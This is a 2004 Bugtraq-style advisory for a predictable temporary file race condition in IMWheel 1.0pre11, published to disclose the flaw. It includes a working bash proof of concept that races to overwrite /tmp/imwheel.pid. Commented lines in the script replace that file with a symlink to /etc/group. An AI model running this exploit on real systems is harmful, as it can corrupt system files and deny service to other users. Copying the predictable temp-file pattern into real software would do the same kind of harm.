IMWheel Predictable Temporary File Creation Vulnerability

Bugtraq ID:	11008
Class:	Race Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Aug 23 2004 12:00AM
Updated:	Aug 23 2004 12:00AM
Credit:	Discovery is credited to "I)ruid" <[email protected]>.
Vulnerable:	IMWheel IMWheel 1.0 pre11
Not Vulnerable:

IMWheel Predictable Temporary File Creation Vulnerability

IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.

This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well.

IMWheel Predictable Temporary File Creation Vulnerability

No exploit is required.
The following proof of concept is available:
#!/bin/bash

# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid

echo "Exploit Successful!!!"

IMWheel Predictable Temporary File Creation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

IMWheel Predictable Temporary File Creation Vulnerability

References:

• Homepage (IMWheel)
  
• CAU-2004-0002 - imwheel Predictable PidFile Name Race Condition ("I)ruid" )